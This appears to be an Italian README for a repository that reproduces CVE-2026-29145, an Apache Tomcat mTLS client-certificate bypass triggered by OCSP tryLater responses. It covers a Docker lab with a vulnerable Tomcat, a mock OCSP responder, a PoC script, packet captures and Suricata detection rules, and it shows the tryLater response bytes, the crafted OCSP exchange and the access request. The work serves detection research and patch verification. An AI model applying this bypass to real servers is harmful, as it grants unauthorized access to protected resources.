
Ambiente PoC riproducibile per CVE-2026-29145 Apache Tomcat CLIENT_CERT + bypass OCSP soft-fail, inclusi script di exploit, responder OCSP fittizio e regole di rilevamento Suricata.
Apache Tomcat CLIENT_CERT + OCSP soft-fail bypass ambiente di riproduzione completo, pacchetti di traffico di exploit e materiali per la scrittura di regole di rilevamento Suricata.
Solo per ricerca sulla sicurezza autorizzata e sviluppo di regole di rilevamento. Non utilizzare su sistemi non autorizzati.
| Elemento | Descrizione |
|---|---|
| CVE | CVE-2026-29145 |
| Componente | Apache Tomcat / Tomcat Native |
| Tipo | Bypass dell'autenticazione (mTLS / CLIENT_CERT) |
| CVSS | 9.1 (NVD) / Moderato (Apache) |
| Versioni interessate | Tomcat 10.1.0-M7–10.1.52, 9.0.83–9.0.115, 11.0.0-M1–11.0.18; Native 2.0.0–2.0.13 ecc. |
| Versioni corrette | Tomcat 10.1.53+ / 9.0.116+ / 11.0.20+; Native 2.0.14+ |
Quando Tomcat abilita CLIENT_CERT e OCSP e configura ocspSoftFail=false (hard fail), alcuni percorsi di errore OCSP (in particolare lo stato di risposta tryLater) non vengono ancora gestiti come hard fail, portando all'accettazione di certificati client che dovrebbero essere rifiutati e consentendo l'accesso a risorse protette.
La correzione ufficiale (esempio: commit di Tomcat fe26667c) allinea la gestione del percorso FFM per OCSP TRY_LATER con Tomcat Native.
In Tomcat 10.1.52 + Tomcat Native 2.0.12:
Punto chiave: deve restituire tryLater di RFC 6960, solo HTTP 500 non è sufficiente per innescare il bypass in questo ambiente.
CVE-2026-29145-Everything/
├── README.md # Questo file
├── REPRODUCTION.md # Note dettagliate per la riproduzione e suggerimenti Suricata
├── docker-compose.yml # Tomcat vulnerabile + Mock OCSP
├── poc_exploit.py # Script di exploit/rilevamento (exit 10 = vulnerabile)
├── simple_proxy_fail.py # Mock OCSP (fail / succeed / try_later / internal_error)
├── setup_certs.sh # Genera certificati CA/server/client (con OCSP AIA)
├── capture_exploit.sh # Cattura pacchetti con un clic durante l'exploit
├── run_test.sh / cleanup.sh
├── requirements.txt
├── tomcat/
│ ├── server.xml # mTLS + ocspEnabled + ocspSoftFail=false
│ ├── tomcat-users.xml # Mappatura utenti CLIENT-CERT
│ ├── ROOT/ # Patch minima per la ROOT predefinita dell'immagine ufficiale
│ └── protected/ # Risorse protette + web.xml (CLIENT-CERT)
└── pcaps/ # ★ Traffico di exploit già catturato (per scrivere regole)
├── CVE-2026-29145-mtls-and-ocsp.pcap # Pacchetto principale: mTLS + OCSP
├── CVE-2026-29145-ocsp-only.pcap # Solo OCSP in chiaro
├── CVE-2026-29145-mtls-only.pcap # Solo TLS 8443
└── exploit_response.html # Snapshot della risposta di exploit riuscita
La directory delle chiavi private dei certificati certs/ è ignorata da .gitignore per impostazione predefinita, deve essere generata localmente.
pip install -r requirements.txt o python3-requests di sistema)git clone https://github.com/gkdgkd123/CVE-2026-29145-Everything.git
cd CVE-2026-29145-Everything
# 1. Genera certificati (AIA punta al nome del servizio OCSP in Docker)
rm -rf certs
OCSP_URL=http://ocsp-responder:8888 ./setup_certs.sh
# 2. Avvia l'ambiente (OCSP_MODE=try_later predefinito)
docker compose up -d
# Aspetta healthy
docker compose ps
# 3. Esegui PoC
python3 poc_exploit.py
# Output atteso:
# [WARNING] VULNERABLE: Access granted despite OCSP check failure.
# Codice di uscita 10 = vulnerabile; 0 = non sfruttabile/aggiornato
Verifica manuale:
curl -sk --http1.1 \
--cert certs/client-cert.pem \
--key certs/client-key.pem \
--cacert certs/ca-chain.pem \
https://127.0.0.1:8443/protected-resource/
./capture_exploit.sh
# Output in pcaps/CVE-2026-29145-*.pcap
Il repository include già un pcap di un exploit riuscito, che può essere utilizzato direttamente per la verifica delle regole Suricata, senza necessità di ricatturare il traffico.
# tryLater — percorso di attivazione CVE (predefinito)
OCSP_MODE=try_later docker compose up -d --force-recreate
# Errore HTTP 500 (in questo ambiente, hard fail rifiuta)
OCSP_MODE=fail docker compose up -d --force-recreate
# Simula successo OCSP (body non è DER reale, testa solo la connettività)
OCSP_MODE=succeed docker compose up -d --force-recreate
# internalError DER
OCSP_MODE=internal_error docker compose up -d --force-recreate
Importante: 8443 è mTLS crittografato con TLS 1.3, aprendolo direttamente con Wireshark sembrerà un garbled.
8888 è OCSP in HTTP in chiaro, per scrivere regole si dovrebbe dare priorità a OCSP.
Istruzioni complete in pcaps/README.md.
POST / HTTP/1.0
Host: ocsp-responder:8888
Content-Type: application/ocsp-request
HTTP/1.0 200 OK
Content-Type: application/ocsp-response
Content-Length: 5
[5 bytes DER] 30 03 0a 01 03 # tryLater
GET /protected-resource/ HTTP/1.1
Host: 127.0.0.1:8443
User-Agent: CVE-2026-29145-PoC/1.0
HTTP/1.1 200
Content-Type: text/html
...
Protected Resource Access Granted
Wireshark: Preferences → Protocols → TLS → (Pre)-Master-Secret log filename = pcaps/sslkeys.log
tshark -r pcaps/CVE-2026-29145-with-keys.pcap -o tls.keylog_file:pcaps/sslkeys.log -Y 'http && tcp.port==8443' -V
Vedi REPRODUCTION.md e pcaps/README.md per dettagli.
<Connector port="8443" SSLEnabled="true"
sslImplementationName="org.apache.tomcat.util.net.openssl.OpenSSLImplementation"
...>
<SSLHostConfig
certificateVerification="required"
caCertificateFile="conf/certs/ca-chain.pem"
ocspEnabled="true"
ocspSoftFail="false"
ocspTimeout="5">
<Certificate ... />
</SSLHostConfig>
</Connector>
Il CLIENT-CERT a livello applicativo si trova in tomcat/protected/WEB-INF/web.xml.
ocspSoftFail e la raggiungibilità OCSP; eseguire test di regressione per comportamento non raggiungibile/tryLater../cleanup.sh
# o
docker compose down -v
CVE-2026-29145-Tester (questo repository ha rafforzato e registrato completamente la configurazione riproducibile e il percorso tryLater).Questo progetto è destinato esclusivamente a scopi educativi, test di penetrazione autorizzati e sviluppo di regole di rilevamento delle intrusioni. L'utente deve assicurarsi di avere l'autorizzazione legale per il sistema di destinazione. L'autore non si assume alcuna responsabilità per eventuali abusi.
| Comportamento OCSP | ocspSoftFail | Risultato |
|---|
DER tryLater (30 03 0a 01 03) | false | HTTP 200 — bypass riuscito |
| HTTP 500 | false | TLS rifiutato (hard fail applicato) |
| OCSP 超时 | false | TLS rifiutato |
| 任意失败 | true | 200 (soft-fail previsto) |
| File | Descrizione |
|---|
pcaps/CVE-2026-29145-with-keys.pcap + pcaps/sslkeys.log | Sessione completa decifrabile |
pcaps/CVE-2026-29145-ocsp-only.pcap | OCSP in chiaro (senza chiavi) |
pcaps/cleartext/04_OCSP_HTTP_RECONSTRUCTED_CLEARTEXT.txt | Testo OCSP HTTP leggibile |
pcaps/cleartext/03_MTLS_HTTP_RECONSTRUCTED_CLEARTEXT.txt | Testo HTTP dell'applicazione decifrato |
rules/cve-2026-29145.rules | Regole Suricata di esempio |